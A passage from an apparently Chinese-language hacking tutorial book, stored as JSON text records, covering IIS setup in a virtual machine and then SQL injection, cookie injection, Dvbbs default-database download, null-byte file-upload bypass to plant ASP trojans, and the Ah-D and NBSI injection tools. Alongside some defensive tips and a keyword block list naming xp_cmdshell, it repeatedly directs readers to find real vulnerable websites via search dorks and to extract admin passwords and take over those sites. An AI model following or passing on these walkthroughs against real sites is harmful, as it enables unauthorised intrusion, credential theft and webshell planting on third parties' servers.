    {"text": "单击【下一步】按钮，即可打开【已准备好安装程序】对话框，如图1-107所示。 图 1-106 选择安装类型 图 1-107 【已准备好安装程序】对话框 步骤3：单击【安装】按钮，系统开始安装并显示安装进度，如图1-108所示。 安装完成后，则显示如图1-109所示对话框。 单击【完成】按钮，重启系统后即可完成安装操作。"},
    {"text": "图 1-108 开始安装 图 1-109 【安装向导完成】对话框 3.在虚拟机上架设IIS服务器 IIS（Internet Information Server，互联网信息服务）作为一种Web（网页）服务组件，包括Web服务器、FTP服务器、NNTP（Network News Transport Protocol，网络新闻传输协议）服务器和SMTP服务器，分别用于网页浏览、文件传输、新闻服务和邮件发送等方面，使得在网络（包括互联网和局域网）上发布信息十分容易。 （1）在虚拟机中安装IIS服务器 在虚拟机的操作系统中也可以安装IIS服务器，这里以在VMware中建立的Windows XP操作系统为例，介绍IIS服务器安装和配置过程。"},
    {"text": "步骤1：在Windows XP系统的【控制面板】窗口中双击“添加/删除程序”选项，即可打开【添加或删除程序】窗口，如图1-110所示。 图 1-110 【添加或删除程序】窗口 步骤2：单击【添加/删除Windows组件】按钮，即可打开【Windows组件向导】对话框，在其中勾选“在Internet信息服务（IIS）”复选项以设置IIS信息，如图1-111所示。 图 1-111 【Windows组件向导】对话框 步骤3：单击【详细信息】按钮，即可弹出【Internet信息服务（IIS）】对话框，在其中取消默认的\"SMTP Service\"服务和\"FTP\"服务，如图1-112所示。 图 1-112 【Internet信息服务（IIS）】对话框 步骤4：在设置完毕之后，单击【确定】按钮，即可返回到【Windows组件向导】对话框中。 此时在光驱中插入Windows系统安装光盘，单击【下一步】按钮，即可开始IIS服务器的安装，其安装进度如图1-113所示。 图 1-113 【正在配置组件】对话框 步骤5：在IIS服务器安装完成之后，将会在【Windows组件向导】对话框中出现相应的提示信息，如图1-114所示。 图 1-114 【完成“Windows组件向导”】对话框 （2）在虚拟机中配置IIS服务器 在IIS服务器附加完毕之后，往往还需要进行配置IIS服务器的操作。 为了方便用户，在此介绍在虚拟机的Windows XP操作系统下配置IIS服务器的方法。"},
    {"text": "步骤1：在Windows XP系统的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口，如图1-115所示。 图 1-115 【管理工具】窗口 步骤2：双击【Internet信息服务】图标，即可打开【Internet信息服务】窗口，单击“本地计算机”栏目前的“+”号，和其下属结点“网站”前的“+”号，如图1-116所示。 图 1-116 【Internet信息服务】窗口 步骤3：在“默认网站”结点上右击，在快捷菜单中选择【属性】选项，即可打开【默认网站属性】对话框，如图1-117所示。 选择【网站】选项卡“IP地址”下拉列表框中本机的IP地址（如：本机的IP地址为127.0.0.1），单击【确定】按钮，即可完成对网站IP地址设置。 图 1-117 【默认网站属性】对话框 步骤4：一般在设置完IP地址后，需要在IE浏览器地址栏中输入本机的IP地址，即可打开默认网页，但有时会出现如图1-118所示的对话框（这是由于设置了错误的权限）。 图 1-118 IE浏览器地址栏中输入本机的IP地址 步骤5：首先需要设置允许匿名访问，在【默认网站属性】对话框中选择“目录安全性”选项卡，如图1-119所示。 图 1-119 “目录安全性”选项卡 步骤6：单击“匿名访问和身份验证控制”栏目右侧的【编辑】按钮，即可打开【身份验证方法】对话框，在其中勾选“匿名访问”复选框和“允许IIS控制密码”复选框，并填写匿名访问使用的“用户名”和“密码”，如图1-120所示。 连续单击【确定】按钮，即可成功设置权限。 在【身份验证方法】对话框中单击“用户名”右侧的【浏览】按钮，即可打开【选择用户】对话框，在其中可以选择用户，如图1-121所示。 图 1-120 【身份验证方法】对话框 图 1-121 【选择用户】对话框 4.在虚拟机中安装网站 建好了IIS服务器，安装了动态域名解析客户端，用户的网站已经有了栖身之所。"},
    {"text": "可自己编辑网站程序，也可从网上下载完整的源程序进行安装。 （1）解压安装 解压安装法是目前安装网站最简单的方法，很多网站都是用这种方法安装的。 步骤1：在网上下载网站源程序并将压缩包解压之后，即可打开【Internet信息服务】窗口。 右击“默认网站”图标，在快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，如图1-122所示。 图 1-122 【默认网站属性】对话框 步骤2：在“主目录”选项卡的“本地路径”文本框中输入下载网站源文件所在位置，或单击【浏览】按钮找到网站源文件。 切换到“文档”选项卡，在“默认文档”栏目中可以看到各种默认的文档，如图1-123所示。 图 1-123 网站的默认文档 步骤3：单击【添加】按钮，即可打开【添加默认文档】对话框，在“默认文档名”文本框中输入新添加的文档名index.asp，如图1-124所示。 图 1-124 【添加默认文档】对话框 步骤4：单击【确定】按钮，即可关闭【添加默认文档】对话框，此时在“默认文档”列表中可看到新添加的index.asp，如图1-125所示。 图 1-125 添加的默认文档 步骤5：在【Internet信息服务】窗口中将安装后默认存在的几个虚拟目录删掉（如\"IISHelp\"和\"Printers\"）之后，重新打开【Internet信息服务】窗口，在本地计算机的浏览器地址中输入虚拟机IP地址，就可以打开刚安装的网站了。"},
    {"text": "（2）程序安装法 在安装普通软件时只需要单击安装程序就可以了，某些网站程序安装也是这样的，在这里以最常见的动网论坛为例介绍其安装过程。 步骤1：下载并解压动网论坛程序，在【Internet信息服务】窗口中把虚拟目录设置为动网论坛所在的文件夹，运行安装程序dvbbs.exe，即可打开【动网先锋软件（Aspsky.Net）安装】窗口，如图1-126所示。 图 1-126 【动网先锋软件（Aspsky.Net）安装】窗口 步骤2：在选择安装目标文件夹之后，单击【安装】按钮，即可完成对动网论坛的安装，如图1-127所示。"},
    {"text": "未知 第70招 SQL注入攻击 由于程序员的水平及经验也参差不齐，其中相当大一部分在编写网站代码时，没有对用户输入数据的合法性进行判断，从而使网站存在不少安全隐患。用户可提交一段数据库查询代码，根据程序返回的结果，获得某些想知道的数据（所谓的SQL Injection，即SQL注入）。 SQL注入攻击一般有查找可攻击的网站、判断后台数据库类型、确定XP_CMDSHELL可执行情况、发现WEB虚拟目录、上传ASP木马以及得到管理员权限等几个步骤。 目前，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQL占20%，其他的不足10%。SQL注入攻击按网站类型主要分为ASP注入攻击和PHP注入攻击两种，另外，还有JSP、CGI注入攻击等。 1.用“啊D SQL注入程序”实施注入攻击 随着网络安全技术的不断提高，涌现出了许多优秀的攻击程序。 下面讲述“啊D SQL注入程序”实施注入攻击的过程。 步骤1：下载并解压“啊D SQL注入程序”文件，双击\"SQL Tools\"应用程序图标，即可进入“啊D SQL注入工具”主界面，如图8-1所示。 图 8-1 “啊D SQL注入工具”主界面 步骤2：单击左上方工具栏中的 按钮，即可打开“注入点检测”页面，在“网站地址”栏目中输入需要注入的网址，如图8-2所示。单击【打开】按钮，即可打开该网站并扫描注入点个数，如图8-3所示。 图 8-2 “注入点检测”页面 图 8-3 打开网站并扫描注入点个数 步骤3：任意选择其中一个扫描到的注入点并右击，从快捷菜单中选择“复制连接”菜单项，单击工具栏中的 按钮，即可进入“SQL注入检测”页面。在“注入连接”地址栏中粘贴刚才所选注入点地址，单击【检测表段】按钮，即可检测出相应的表段，如图8-4所示。 图 8-4 “SQL注入检测”页面 步骤4：再任意选中其中一个表段，则右边【检测字段】按钮被激活，此时单击【检测字段】这个按钮，即可检测出该表对应的相应字段，如图8-5所示。 图 8-5 检测某表所对应的各字段 步骤5：根据需要再选择该表中的任意一个字段，则右边的【检测内容】按钮被激活，此时单击【检测内容】这个按钮，即可开始检测内容，如图8-6所示。 图 8-6 检测内容 通过上述操作可以发现，注入攻击的过程与“旁注入侵专用程序”的攻击过程有很多相似之处。实际使用过程中用户可综合这些软件的优点灵活运用，从而提高测试效率。 2.查找可SQL攻击的网站 SQL注入攻击环境除可在虚拟机中进行搭建，还可在网上进行搜索，不过刚开始实际学习中可能很难找到可以练手的站点。如何才能快速找到练习SQL注入环境呢？其实很简单，只需要利用各大搜索引擎的网络搜索功能，来大量寻找可进行注入学习的站点即可。 具体的操作步骤如下。 步骤1：在搜索引擎的搜索栏里输入\"list.asp?id=1\"，即可搜索到很多结果，如图8-7所示。再运行“啊D SQL注入工具”就可以开始进行注入了，如图8-8所示。 图 8-7 搜索结果 图 8-8 啊D SQL注入工具 步骤2：将要注入的地址输入到“啊D SQL注入工具”的“注入连接”地址栏里，分别单击【检测表段】、【检测字段】及【检测内容】三个按钮，分析各表段、字段和密码，从而猜解出网站管理员的密码、后台的入口地址，就可以到后台进行管理员的操作了。 3.全面防御SQL注入攻击 SQL注入入侵是根据IIS给出的ASP错误信息来入侵的，因此，可通过配置IIS和数据库用户权限的方法，来对错误提示信息进行设置，以实现有效防范SQL注入的入侵。 具体操作步骤如下。 步骤1：在Windows系统的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口。双击【Internet信息服务】图标，即可打开“Internet信息服务”窗口，单击“本地计算机”电脑图标前的“+”号，和其下属结点“网站”前的“+”号，如图8-9所示。 图 8-9 “Internet信息服务”窗口 步骤2：右击其中的“默认网站”选项，并在快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，如图8-10所示。切换到“自定义错误”选项卡，在“HTTP错误”列表中选择“500:100”选项，如图8-11所示。 图 8-10 “默认网站属性”对话框 图 8-11 “HTTP错误”选项卡 步骤3：单击【编辑属性】按钮，即可打开【错误映射属性】对话框，如图8-12所示。在“消息类型”下拉列表中选择“默认值”选项之后，单击【确定】按钮，即可完成设置。 图 8-12 【错误映射属性】对话框 此外，网站程序员还需要在程序代码编写上防范SQL注入入侵，具体的方法如下。 1）在为网站数据库命名时，尽量不要取那些看起来意义明显的名字。这样，即使用户名和口令被猜解了出来，入侵者也不易知道哪些信息是对其有用的。 2）仔细检测客户端提交的变量参数。利用一些检测工具对用户通过网址提交的变量参数进行检查，发现客户端提交的参数中有\"exec、insert、select、delete、from、update、count、user、xp_cmdshell、add、net、Asc\"等用于SQL注入的常用字符时，立即停止执行ASP并给出警告信息或转向出错页面。 3）对重要数据进行加密。如用MD5加密，MD5没有反向算法，也不能解密，就可以防范对网站的危害了。"},
    {"text": "未知 第71招 实战Cookies注入攻击 Cookies是当用户浏览某网站时，网站存储在用户计算机上的一个文本文件，它记录了用户的ID、密码、浏览过的网页等信息。目前，Cookies最广泛的是记录用户登录信息，这样，下次访问时可以不需要输入自己的用户名、密码。当然，也存在用户信息泄密的问题，尤其在多个用户共用一台电脑时很容易出现这样的问题。 1.Cookies欺骗简介 在Windows 2000/XP中，Cookie一般的存放位置是：C:\\Documents and Settings\\Administrator\\Cookies。黑客不需要知道这些字符串的含义，只要把别人的Cookie信息向服务器提交，通过验证就可以冒充别人来登录论坛或网站，这就是Cookie欺骗的基本原理。 IECookiesView是一款可以搜寻并显示出本地计算机中所有Cookies档案的数据，包括哪一个网站写入Cookies、写入的时间日期及此Cookies的有效期限等信息。通过该软件，黑客可以很轻松地读出目标用户最近访问过哪些网站、甚至可以任意修改用户在该网站上的注册信息。但此软件只对IE浏览器的Cookies有效。使用IECookiesView的具体步骤如下。 步骤1：下载并安装IECookiesView软件，双击\"IECookiesView\"应用程序图标，即可运行该软件并会自动扫描驻留在本地计算机IE浏览器中的Cookies文件，如图8-13所示。 图 8-13 利用IECookiesView显示Cookies文件 步骤2：在“主页”列表中任意选中其中一个Cookies，可以在显示区域中看到其地址、参数以及过期时间等信息，如图8-14所示。如果显示了一个绿色的对勾，则该Cookies可用；如果是一个红色的叉，则表示该Cookies已经过期，无法使用。 图 8-14 查看Cookies的详细信息 步骤3：在IECookiesView中可对Cookies中的密钥值进行编辑，在“密钥值”列表中右击某个键值，在快捷菜单中选择“编辑Cookies内容”选项，即可打开【编辑Cookie内容】对话框，在其中对其各个属性进行重新设置，如图8-15所示。 图 8-15 【编辑Cookies内容】对话框 步骤4：在“主页”列表中右击某个Cookies，在快捷菜单中选择“打开主页”选项，IE浏览器就会自动利用保存在Cookies信息登录相应的网址，如图8-16所示。这样，黑客就利用这些不起眼的Cookies成功地获得了别人隐私信息，而且在论坛中还可冒用别人名义发表帖子。 图 8-16 通过Cookies浏览网站 2.Cookies注入攻击 现在很多网站都采用了通用防注入程序，对于这种网站可采用Cookies注入的方法，而很多通用防注入程序对这种注入方式都没有防备。 在ASP中，request对象获取客户端提交数据常用的是get和post两种方式，同时request对象可以不通过集合来获得数据，即直接使用\"request(\"name\")\"。但它效率低下、容易出错，当省略具体的集合名称时，ASP是按QueryString(get)，Form(post)，Cookie, Severvariable集合的顺序来搜索的。而Cookies是保存在客户端的一个文本文件，可对其进行修改，利用Request.cookie方式来提交变量的值，从而实现注入攻击。其格式为：Response.Cookies[\"uid\"].Value=uid； Cookies记录了用户的ID号，当需要用到UID时，就通过Cookies搜索用户信息，使用到的ASP代码如下： if(Request.Cookies[\"uid\"]！=null) { uid=Request.Cookies[\"uid\"].value; string str=\"select*from userTable where id=\"+uid; } 只要通过专门Cookies修改工具（如IECookiesView）可把Cookies[\"uid\"]的值改成\"40 or 1=1\"或其他注入代码，就可以实现Cookies注入攻击了。另外，还可通过Cookies注入工具直接注入，“Cookies注入器”就是其中最常见的一款。 “Cookies注入器”可以快速生成注入的ASP脚本，具体的使用步骤如下。 步骤1：下载并运行“Cookies注入器”，其主界面如图8-17所示。 图 8-17 【Cookies注入器】主窗口 步骤2：在其中设置各个属性之后，单击【生成】按钮，即可看到【文件成功生成】提示框，如图8-18所示。单击【确定】按钮，即可快速生成注入文件。 图 8-18 【文件成功生成】提示框 如要预防Cookies注入的发生，只要在获得参数UID后，对其进行过滤，通过创建一个类来判断数字参数是否为数字，其代码如下： if(Request.Cookies[\"uid\"]！=null) { uid=Request.Cookies[\"uid\"].value; isnumeric cooidesID=new isnumeric(); if(cooidesID.reIsnumeric(ruid)) { string str=\"select*from userTable where id=\"+uid; } } 其中\"isnumeric cooidesID=new isnumeric()；\"语句的作用是创建一个类，再使用一个判断语句\"if(cooidesID.reIsnumeric(ruid))\"来判断数字参数是否为数字，如果是数字则执行\"string str=\"select*from userTable where id=\"+uid；\"代码行对获得的参数进行过滤。"},
    {"text": "未知 第72招 数据库漏洞入侵 一般的Web Server都要使用数据库来存储信息，几乎所有网站都要用数据库，因此，利用数据库漏洞对网站进行入侵的攻击技术应用非常广泛。 1.数据库漏洞入侵概述 普通网站使用的数据库通常有两种：一种是使用小型数据库，如Access，一般就储存在本地。另一种是使用大型数据库，如SQL Server, Oracle这时候一般都放在另一台机器上，再通过ODBC来访问它。由于在各种页面上经常需要查询各种数据信息，修改用户信息等操作，实质上就是对数据库进行操作。这些网站页面就给非法用户留下了利用的机会，如果数据库存在漏洞，将会给网站带来不可恢复性的灾难。通常所说的数据库入侵技术为分两种，一种叫做“数据库下载漏洞”，一种叫“暴库漏洞”。 （1）数据库下载漏洞 所谓数据库下载漏洞，主要是由于大多数网管为了节省时间，网站上的文章系统、论坛等程序都是直接下载别人的源程序再经过部分修改后使用的。由于网站的源程序是公开的，且网管没有对数据文件名和文件路径进行修改，黑客就很有可能将数据库下载到本地打开，从中获取网站管理员密码等，入侵控制整个网站。 即使网管采取了一些防范措施，比如修改数据库的后缀、修改数据库的名字等，也有可能被黑客通过猜解的方式得到数据库地址。最常见的数据库下载漏洞，以曾经流行一时的动网论坛默认数据库下载漏洞最为有名。 （2）暴库漏洞 由于网管可能对网站源程序进行了修改，隐藏数据库文件地址，因此，黑客会想尽一切方法让网站的数据库信息暴露出来。由此诞生了许多数据库攻击技术，暴库漏洞就是其中的一个。暴库漏洞也有一些要求，一个是被替换的\"/\"必须是站点以下二级目录的，另一个是数据连接文件不能和暴库所用的文件在同一个目录下面。 2.动网数据库漏洞入侵与防御 为证明数据库下载漏洞攻击的危害性，下面以大名鼎鼎的动网论坛为例讲述如何使用默认的数据库地址下载动网论坛数据并进行攻击。需要入侵的动网论坛是在虚拟机上建立的，假设网址为\"http://localhost/dvbbs8/index.asp\"，也可入侵通过百度和Google搜索到的网站。 （1）下载论坛数据库 下载论坛数据库的方法很简单，具体的操作步骤如下。 步骤1：打开要入侵的论坛的网址\"http://localhost/dvbbs8/index.asp\"，如图8-19所示。 图 8-19 打开入侵论坛 步骤2：Dvbbs动网论坛使用默认数据库路径是论坛目录下的\"data/Dvbbs8.mdb\"文件。如果管理员未更改该数据库文件的路径，只要在IE浏览器中访问该文件，就可以下载到论坛数据库。而地址栏中则会尝试提交链接地址为\"http://localhost/dvbbs8/data/Dvbbs8.mdb\"，如果论坛默认数据库没有改名，按下Enter键后将会弹出一个下载提示框，询问是否保存名为\"Dvbbs8.mdb\"的文件，如图8-20所示。 图 8-20 下载Dvbbs动网论坛数据库 步骤3：接着单击【保存】按钮，黑客就可以将该动网论坛的用户数据库下载到本地。 （2）破解管理员密码 将论坛数据库下载后，用户可借助一个“辅臣数据库浏览器”工具来破解管理员的密码。具体的操作步骤如下。 步骤1：下载并解压“辅臣数据库浏览器”文件夹，双击“辅臣数据库浏览器”应用程序图标，即可进入“辅臣数据库浏览器”主窗口，如图8-21所示。 图 8-21 “辅臣数据库浏览器”主窗口 步骤2：单击左上方的【打开数据库】按钮，即可弹出【打开】对话框，如图8-22所示。在其中选择刚才下载的\"dvbbs8.mdb\"文件，单击【打开】按钮，即可将其调入打开。如图8-23所示。 图 8-22 【打开】对话框 图 8-23 打开数据库文件 步骤3：单击左侧栏目中表名为\"dv_user\"表，则在右侧窗口中可显示此表中的数据内容，\"DV_user\"表就是用来保存DVbbs论坛管理员用户名和密码的，如图8-24所示。 图 8-24 查看论坛管理员用户名和密码"},
    {"text": "未知 第73招 文件上传漏洞入侵 文件上传漏洞是由于网站设计不完善造成的，它允许访问者向网站上传任意文件，包括病毒、木马等恶意程序，从而给网站安全造成了威胁。 Internet网络上存在文件上传漏洞的网站很多，用户可通过搜索引擎找到这类信息，再根据这些信息寻找存在文件上传漏洞的网站。 1.文件上传漏洞概述 网站的上传漏洞是由于网页代码中的文件上传路径变量过滤不严造成的，在许多论坛的用户发帖页面中都存在这样的上传Form，显示如图8-25所示。 其网页编程代码如下： ＜form action=\"user_upfile.asp\"…….＞ ＜input type=\"hidden\"name=\"filepath\"value=\"UploadFile\"＞ ＜input type=\"file\"name=\"file\"＞ ＜input type=\"submit\"name=\"上传\"class=\"login_btn\"＞ ＜/form＞ 其中\"filepath\"是文件上传路径，由于网页编写者未对该变量进行任何过滤，因此用户可以任意修改变量值。"},
    {"text": "图 8-25 “文件上传”窗口 利用该截止符可重新构造filepath，例如正常的上传路径是\"http://www.***.com/bbs/uploadface/200906240825.jpg\"，但也可使用“\\0”构造filepath为http://www.***.com/ne wmm.asp\\0/200906240825.jpg。 这样当服务器接收filepath数据时，检测到newmm.asp后面的\\0后，将理解为filepath数据就此结束了，上传的文件就被保存为\"http://www.***.com/newmm.asp\"。"},
    {"text": "2.文件上传漏洞工具 除动网论坛外，各种系统的上传漏洞也非常多，其漏洞原理基本都差不多，攻击利用方法上有略微的差异，简而言之可归纳为几步：先抓包，然后修改文件类型，再在上传路径后加上空格，用十六进制编辑器把空格改成00，最后用NC提交。 这个攻击过程可以使用一些文件上传漏洞工具来完成，比如最常见的工具是桂林老兵的文件上传工具。 下面简单介绍一下桂林老兵的上传漏洞利用程序，如图8-26所示。"},
    {"text": "图 8-26 网站上传利用工具 为方便说明，对照Dvbbs动网论坛8.0版本的\"Upfile.asp\"和\"Reg_upload.asp\"两个文件上传代码，来说明如何添加工具中的上传参数。 Upfile.asp文件为存在上传漏洞的文件，而Reg_upload.asp文件为添加工具时用到的参数，也即Upfile.asp文件在执行时用到的参数都是来自Reg_upload.asp文件中表单所提交的内容。 UpFile是通过生成一个Form表（Reg_upload.asp文件中）来实现上传的。"},
    {"text": "＜form name=\"form\"method=\"post\"action=\"UpFile.asp\"…….＞ ＜input type=\"hidden\"name=\"filepath\"value=\"uploadFace\"＞ ＜input type=\"hidden\"name=\"act\"value=\"upload\"＞ ＜input type=\"file\"name=\"file1\" ＜input type=\"hidden\"name=\"fname\"＞ ＜input type=\"submit\"name=\"Submit\"value=\"上传\"…….＞＜/form＞ 其中用到的变量如下： FilePath：默认值是Uploadface，即上传后默认的存放目录，属性Hidden。"},
    {"text": "步骤1：在“提交地址”中输入存在上传漏洞文件的URL地址，该地址在代码段中的\"Action=\"参数后可以看到，如http://www.xxxx.com/bbs/Upfile.asp。"},
    {"text": "在\"Cookies\"中填写的是登录网站的Cookies信息，可使用抓取数据包工具如WsockExpert抓取，也可使用上面提到过的\"Cookies＆Inject Browser\"浏览器工具来获取。"},
    {"text": "用户可连接上传后的ASP木马进一步渗透攻击，最终达到控制整个网站服务器的目的。 现在网络具有文件上传漏洞的网站仍然很多，这就要求网站管理员经常到Internet网络上查找这方面的信息，并对比自己的网站，若发现有此漏洞，就需要及时修改有关代码，避免黑客利用此漏洞对自己的网站进行攻击。 3.对文件上传漏洞实施入侵与防御 在这里以WSE与NC结合入侵“动感下载系统XP v1.3 Build 0112”网站上传漏洞为例，介绍相应的参数获取填写方法，先说明一下手动利用上传漏洞攻击的过程。"},
    {"text": "需要从网上下载“动感下载系统XP v1.3 Build 0112”程序，将其安装在虚拟机的IIS信息服务器上。 也可在Google或百度中输入关键词进行搜索，将会得到大量使用“动感下载系统XP v1.3 Build 0112”建立的网站。"},
    {"text": "单击页面中“文件上传”的【浏览】按钮，浏览选择本地的一个ASP木马后门文件\"test.asp\"，确定后先不要单击【上传】按钮，如图8-28所示。 图 8-28 上传asp后门 步骤3：运行WSockExpert工具，单击工具栏中的【打开】按钮，在进程列表中选择\"iexplore.exe\"下的“动感下载系统XP管理中心”，如图8-29所示。"},
    {"text": "再回到WSockExpert工具中，单击列表框中的“信息包”中包含\"POST\"行数据，在下方的数据内容框中，复制\"Cookies：\"后面的内容，如图8-30所示。"},
    {"text": "图 8-31 粘贴Cookies信息到上传利用工具中 图 8-32 网站安全检测工具 在网站上传利用工具中还有一个“路径可定义”与“文件名可定义”的选择，其代表的就是FilePath路径变量与Filename文件变量欺骗两种上传漏洞类型。"},
    {"text": "例如，这里上传路径FilePath其值为\"uploadImages\"，是在用户端提交的，所以属于FilePath路径变量欺骗上传漏洞，选择“路径可定义”，并在下方的“上传路径”处可填写要上传保存的任意路径及任意木马文件名。 如果是Filename文件变量欺骗上传漏洞，则不能指定保存路径，在“上传路径”处直接输入要保存的ASP文件名即可。"},
    {"text": "在其中可看到返回信息中包含“＜FONT color=red＞＜/font＞图片路径：＜input type=\"text\"size=\"45\"value=\"uploadImages/test.asp\"＞”内容，如图8-34所示。"},
    {"text": "这说明ASP木马上传成功，其路径为\"uploadImages/test.asp\"。 在IE浏览器中访问http://localhost/_/uploadImages/test.asp，就可以看到上传成功的ASP木马后门了。 图 8-33 提交上传攻击检测 图 8-34 返回的路径信息 有一些上传漏洞网站程序在成功上传后，也不会返回路径信息，或返回假的路径信息，这时，必须根据自己在利用工具的“上传路径”处填写的路径来确定文件的链接地址。"},
    {"text": "未知 第74招 啊D注入工具 啊D注入是一款超级经典的注入工具，优化了注入线程和代码。用户账号可以随便填写。无任何限制，并具有自创的注入引擎，能检测更多存在注入的连接，使用多线程技术，检测速度很快。对“MSSQL显错模式”、“MSSQL不显错模式”和\"Access\"等数据库都有很好地注入检测能力，内集“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”、“CMD命令”、“木马上传”、“注册表读取”、“旁注/上传”、“WebShell管理”和“Cookies修改”于一身的综合注入工具包。 很多黑客都是通过SQL注入来实现对网页服务器攻击的，啊D注入工具是一款出现相对较早，而且功能非常强大的注入工具，集旁注检测、SQL猜解决、密码破解、数据库管理等功能于一身，是运用最广泛的一个工具。实现啊D注入攻击的具体操作步骤如下。 步骤1：下载并解压啊D注入工具包，即可打开解压后的“啊D注入工具文件夹”窗口，如图8-35所示。 图 8-35 “啊D注入工具文件夹”窗口 步骤2：双击“啊D注入工具”应用程序图标，即可进入“啊D注入工具”主窗口，如图8-36所示。在“注入检测”选项栏目中单击【扫描注入点】按钮，即可打开“扫描注入点”页面，在“注入连接”地址栏中输入注入的网站地址。单击 按钮，即可打开该网站并扫描注入点个数，如图8-37所示。 图 8-36 “啊D注入工具”主窗口 图 8-37 “扫描注入点”页面 步骤3：若单击“注入连接”右侧的 按钮，即可对Cookies进行修改，如图8-38所示。 图 8-38 对Cookies进行修改 步骤4：根据需要选中其中的一个注入点，单击“注入检测”选项栏下方的【SQL注入检测】按钮，即可进入“SQL注入检测”页面。单击【检测】按钮，等待检测完成后，继续单击【检测表段】按钮，即可检测出相应的表段。 步骤5：再任意选中其中的一个表段，单击右边的【检测字段】按钮，即可检测出该表对应的相应字段；根据需要选择该表中的所有字段，单击【检测内容】按钮，即可开始检测内容，如图8-39所示。 图 8-39 “SQL注入检测”页面 步骤6：待内容检测完毕后，在“检测内容”下方的列表框中，即可查看详细的检测内容（包括：用户名、密码、编号等），如图8-40所示。 图 8-40 查看详细的检测内容 步骤7：单击“注入检测”选项栏目下方的【管理入口检测】按钮，即可打开“管理入口检测”页面，在“网站地址”栏目中输入需要管理入口检测的地址。单击【检测管理入口】按钮，即可在下方列表中显示该网站的所有登录入口点，如图8-41所示。 图 8-41 “管理入口检测”页面 步骤8：右键选择其中的任意一个登录入口地址，从快捷菜单中选择“用IE打开链接”菜单项，即可打开其链接网页，如图8-42所示。 图 8-42 “网站登录”页面 步骤9：在“网站登录”页面中输入登录的“用户名”和“密码”之后，单击【登录】按钮，即可找到后台并成功登录网站论坛，如图8-43所示。单击“注入检测”选项栏中的【浏览网页】按钮，即可打开“浏览网页”页面，用该按钮快速浏览网页，如图8-44所示。 图 8-43 成功登录网站的论坛 图 8-44 “浏览网页”页面 步骤10：单击“注入检测”栏目中【会员登录】按钮，即可进入“会员登录”页面，在“注入链接”地址栏中输入需登录网站的地址，在“用户名”和“密码”两个文本框中分别输入登录的用户名和密码，单击【登录】按钮，即能够以会员身份登录该网站，如图8-45所示。 图 8-45 “会员登录”页面 步骤11：若是新用户则需进行用户注册，在“会员登录”页面中单击【用户注册】选项按钮，即可进入“用户注册信息”页面，在其中填写相应的注册信息。单击【马上注册】按钮，即可注册成功，如图8-46所示。 图 8-46 “用户注册信息”页面 步骤12：在“相关工具”栏目中单击【目录查看】按钮，即可进入“目录查看”页面，在“注入连接”地址栏中输入要注入的网站地址。单击【检测】按钮，在“检测位置”栏目中选择要进行检测的目标磁盘。单击【开始检测】按钮，即可查看网站的物理目录（也只有MSSQL数据库才能查看），如图8-47所示。 图 8-47 “目录查看”页面 步骤13：在“相关工具”栏目中单击【CMD/上传】按钮，即可打开“CMD/上传”页面，只要用户拥有一个SA权限的数据库，就可以在这里执行CMD命令，或上传一些小的文件，比如一些脚本等操作，如图8-48所示。 图 8-48 “CMD/上传”页面 步骤14：也可在“相关工具”栏目中单击【注册表读取】按钮，打开“注册表读取”页面选择注册表的位置。单击【读取】按钮，即可读取注册表的键值来确定物理目录等信息，如图8-49所示。 图 8-49 “注册表读取”页面 步骤15：单击“设置选项”栏目中的【设置】按钮，即可进入“设置”页面，通过对SQL的管理入口、表段和字段等内容进行设置，可添加一些自己要检测的内容。因为有些需要猜解的表名或字段里面是没有的，只能通过这里来添加，如图8-50所示。 图 8-50 “设置”页面"},
    {"text": "未知 第75招 NBSI注入工具 NBSI（NB，联盟，SQL，注入分析器）是一套高集成性Web安全检测系统，在ASP程序漏洞分析方面已远远超越了同类产品，特别是对于SQL Server的分析，具有极高的准确率。NBSI是网站漏洞检测工具，ASP注入漏洞检测工具，特别在SQL Server注入检测方面有极高的准确率。NBSI分为个人版和商业版两种，其中在个人版中限制了一些功能，可以检测出一般网站的漏洞，而商业版则完全没有限制，分析范围和准确率都有所提高。 在NBSI中可检测出网站中存在的注入漏洞，对其进行注入工具，具体的实现步骤如下。 步骤1：运行NBSI主程序，即可打开【NBSI操作】主窗口，如图8-51所示。 图 8-51 【NBSI】主窗口 步骤2：单击【网站扫描】按钮，即可进入【网站扫描】窗口，如图8-52所示。在“注入地址”中输入要入侵的网站地址之后，选择“快速扫描”单选项。 图 8-52 【网站扫描】窗口 步骤3：单击【扫描】按钮，即可对该网站进行扫描。如果在扫描过程中发现注入漏洞，漏洞地址及其注入性的高低将显示在“扫描结果”列表中，如图8-53所示。在“扫描结果”列表中单击要注入的网址，即可将其添加到“注入地址”文本框中，如图8-54所示。 图 8-53 扫描后的结果 图 8-54 添加要注入的网站地址 步骤4：单击【注入分析】按钮，即可进入【注入分析】窗口中，如图8-55所示。在其中勾选\"post\"复选框，可在“特征符”文本区域中输入相应的特征符。 图 8-55 【注入分析】窗口 步骤5：在设置完毕后，单击【检测】按钮，即可对该网址进行检测，其检测结果如图8-56所示。如果待检测完毕之后，“未检测到注入漏洞”单选项被选中，则该网址是不能被用来进行注入攻击的。 图 8-56 对选择的网站进行检测 提示 这里得到的是一个数字型+Access数据库的注入点，ASP+MSSQL型的注入方法与其一样，都可以在注入成功之后去读取数据库的信息。 步骤6：在“已猜解表名”栏目中单击【猜解表名】按钮，即可打开【SI提示信息】对话框，如图8-57所示。单击【确定】按钮，即可对选定的表单猜解。待猜解完毕之后，将会在“已猜解表名”文本框中显示出数据库的表名，如图8-58所示。 图 8-57 【SI提示信息】对话框 图 8-58 猜解出的数据表表名 步骤7：在选中要猜解的数据表后，单击【猜解列名】按钮，即可得到该表所包含列的相关信息，如图8-59所示。勾选要猜解列名前面的复选框，单击【猜解记录】按钮，即可得到该列中包含的详细信息，如图8-60所示。 图 8-59 猜解列名 图 8-60 猜解记录 步骤8：在【NBSI】主窗口中单击【扫描及工具】按钮，即可进入【扫描及工具】窗口，如图8-61所示。将扫描出来的“可能性较高”的网址复制到“扫描地址”文本框中，并勾选“由根目录开始扫描”复选框。 图 8-61 【扫描及工具】窗口 步骤9：单击【开始扫描】按钮，即可将可能存在的管理后台扫描出来，其结果会显示在“可能存在的管理后台”列表中，如图8-62所示。 图 8-62 扫描到的管理后台 